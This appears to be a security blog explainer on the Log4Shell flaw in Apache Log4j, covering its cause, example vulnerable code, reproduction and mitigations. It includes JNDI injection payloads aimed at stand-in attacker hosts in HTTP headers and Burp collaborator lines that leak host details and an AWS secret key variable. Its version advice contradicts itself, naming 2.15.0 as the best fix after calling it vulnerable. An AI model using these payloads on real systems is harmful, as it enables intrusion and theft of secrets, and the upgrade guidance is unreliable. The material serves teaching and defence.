Log4j vulnerability - Impact and Mitigation
Introduction
A vulnerability in Apache Log4j is being touted as one of the worst cybersecurity flaws to have been discovered. The vulnerability is based on an open-source logging library used in most applications by enterprises and even government agencies. On December 9, 2021, Apache disclosed CVE-2021-44228, a remote code execution vulnerability – assigned with a severity of 10 (the highest possible risk score). The source of the vulnerability is Log4j, a logging library commonly used by a wide range of applications, and specifically by Apache versions up to 2.14.1. Log4j is an open source library, part of the Apache Logging Services, written in Java. The original release of the Java Development Kit (JDK) did not include logging APIs, so Java logging libraries quickly gained popularity including Log4j.
Apache Log4j2 2.0-beta9 through 2.12.1 and 2.13.0 through 2.15.0 JNDI features used in configuration, log messages, and parameters do not protect against attacker controlled LDAP and other JNDI related endpoints. An attacker who can control log messages or log message parameters can execute arbitrary code loaded from LDAP servers when message lookup substitution is enabled.
Java Naming Directory Interface (JNDI) Lookup Basics
Lookups provide a way to add values to the Log4j configuration at arbitrary places. JNDI operations require that log4j2.enableJndi=true be set as a system property or the corresponding environment variable for this lookup to function. The JNDI Lookup allows variables to be retrieved via JNDI. By default the key will be prefixed with java:comp/env/, however if the key contains a ":" no prefix will be added. By default the JDNI Lookup only supports the java, LDAP, and LDAPS protocols or no protocol.
Apache Log4j2 2.0-beta9 through 2.12.1 and 2.13.0 through 2.15.0 JNDI features used in configuration, log messages, and parameters do not protect against attacker controlled LDAP and other JNDI related endpoints. An attacker who can control log messages or log message parameters can execute arbitrary code loaded from LDAP servers when message lookup substitution is enabled.
What causes the Log4j vulnerability?
Log4j2 is one of the most popular Java logging frameworks. Log4j2 supports by default a logging feature called “Message Lookup Substitution”. This feature enables certain special strings to be replaced, at the time of logging, by other dynamically-generated strings. For example, logging the string Running ${java:runtime} will yield an output similar to:Running Java version 1.7.0_67
It has been discovered that one of the lookup methods, specifically the JNDI lookup paired with the LDAP protocol, will fetch a specified Java class from a remote source and deserialize it, executing some of the class’s code in the process. This means that if any part of a logged string can be controlled by a remote attacker, the remote attacker gains remote code execution on the application that logged the string. The most common substitution string that takes advantage of this issue will look similar to: ${jndi:ldap://somedomain.com}
Note that the following protocols may also be used for exploiting this issue (some of them may not be available by default) – ${jndi:ldaps://somedomain.com} ${jndi:rmi://somedomain.com} ${jndi:dns://somedomain.com}
Although the vulnerability is context-dependent, since arbitrary user input must reach one of the Log4j2 logging functions (see next section), this scenario is extremely common. In most logging scenarios, part of the log message contains input from the user. Such input is rarely sanitized since it is considered to be extremely safe.
Example vulnerable code
import org.apache.logging.log4j.LogManager;
import org.apache.logging.log4j.Logger;
import java.io.*;
import java.sql.SQLException;
import java.util.*;
public class VulnerableLog4jExampleHandler implements HttpHandler {
static Logger log = LogManager.getLogger(VulnerableLog4jExampleHandler.class.getName());
/**
* A simple HTTP endpoint that reads the request's x-api-version header and logs it back.
* This is pseudo-code to explain the vulnerability, and not a full example.
* @param he HTTP Request Object
*/
public void handle(HttpExchange he) throws IOException {
String apiVersion = he.getRequestHeader("X-Api-Version");
// This line triggers the RCE by logging the attacker-controlled HTTP header.
// The attacker can set their X-Api-Version header to: ${jndi:ldap://attacker.com/a}
log.info("Requested Api Version:{}", apiVersion);
String response = "Hello from: " + apiVersion + "!
";
he.sendResponseHeaders(200, response.length());
OutputStream os = he.getResponseBody();
os.write(response.getBytes());
os.close();
}
}
When exactly is the vulnerability exploitable?
All of the following conditions must apply in order for a specific Java application to be vulnerable:
- * The Java application uses log4j (Maven package log4j-core) version 2.0.0-2.14.1
- * A remote attacker can cause arbitrary strings to be logged, via one of the logging APIs – logger.info(), logger.debug(), logger.error(), logger.fatal(), logger.log(), logger.trace(), logger.warn(). (on some machines)
- * The Java JRE / JDK version in use is older than the following versions:6u211, 7u201, 8u191, 11.0.1
Reproducing the vulnerability using a sample application
For details, refer to the readme for christophertd's sample vulnerable application.
In a terminal run following command:
docker run -p 8080:8080 ghcr.io/christophetd/log4shell-vulnerable-app
Once the docker image is up, execute the following http request:
curl 127.0.0.1:8080 -H 'X-Api-Version: ${jndi:ldap://127.0.0.1/a}'The logs should include an error message indicating that a remote lookup was attempted, but failed:
2021-12-10 17:14:56,207 http-nio-8080-exec-1 WARN Error looking up JNDI resource [ldap://127.0.0.1/a]. javax.naming.CommunicationException: 127.0.0.1:389 [Root exception is java.net.ConnectException: Connection refused (Connection refused)]
Exploitation Steps
Manual steps
GET / HTTP/1.1
Host: test.com
User-Agent: ${jndi:ldap://attacker-srv.com/foo}
X-Api-Version: ${jndi:ldap://attacker-srv.com/foo}
Referer: ${jndi:ldap://attacker-srv.com/foo}
Test using Burp Extension
Install and scan the endpoints using this plugin -
Following are the variables used to extract the detail from the vulnerable server. For example,
${jndi:ldap://abababbababab.burpcollaborator.net/b}
${jndi:ldap://${variable_names}.ccccccccc.burpcollaborator.net/b}
Variables
- none
- ${hostName}
- ${userName}
- ${sys.java.version}
- ${sys.java.vendor.url}
- ${sys.java.vendor}
- ${sys.java.home}
- ${sys.java.vm.specification.version}
- ${sys.java.vm.specification.vendor}
- ${sys.java.vm.specification.name}
- ${sys.java.vm.version}
- ${sys.java.vm.vendor}
- ${sys.java.vm.name}
- ${sys.java.specification.vendor}
- ${sys.java.specification.version}
- ${sys.java.specification.name}
- ${sys.java.class.version}
- ${sys.java.class.path}
- ${sys.java.library.path}
- ${sys.Java.io.tmpdir}
- ${sys.java.compiler}
- ${sys.java.ext.dirs}
- ${sys.os.name}
- ${sys.os.arch}
- ${sys.os.version}
- ${sys.file.separator}
- ${sys.path.separator}
- ${sys.line.separator}
- ${sys.User.name}
- ${user.home}
- ${user.dir}
- ${env:AWS_SECRET_ACCESS_KEY}
Mitigation steps to protect against the vulnerability
Implement one of the mitigation techniques below.
- Java 8 (or later) users should upgrade to release 2.16.0.
- Users requiring Java 7 should upgrade to release 2.12.2 when it becomes available (work in progress, expected to be available soon).
- Or, remove the JndiLookup class from the classpath: zip -q -d log4j-core-*.jar org/apache/logging/log4j/core/lookup/JndiLookup.class.
The best fix for this issue would be to upgrade your log4j dependencies to version 2.15.0, which resolved the issue in several layers and improved the overall security of log4j.
References
- https://logging.apache.org/log4j/2.x/manual/lookups.html
- https://logging.apache.org/log4j/2.x/security.html
- https://jfrog.com/blog/log4shell-0-day-vulnerability-all-you-need-to-know/
- https://www.lunasec.io/docs/blog/log4j-zero-day/ https://cve.mitre.org/cgi-bin/cvename.cgi?
- name=CVE-2021-44228
- https://packetstormsecurity.com/files/165270/Apache-Log4j2-2.14.1-Remote-Code-Execution.html
- https://github.com/fox-it/log4j-finder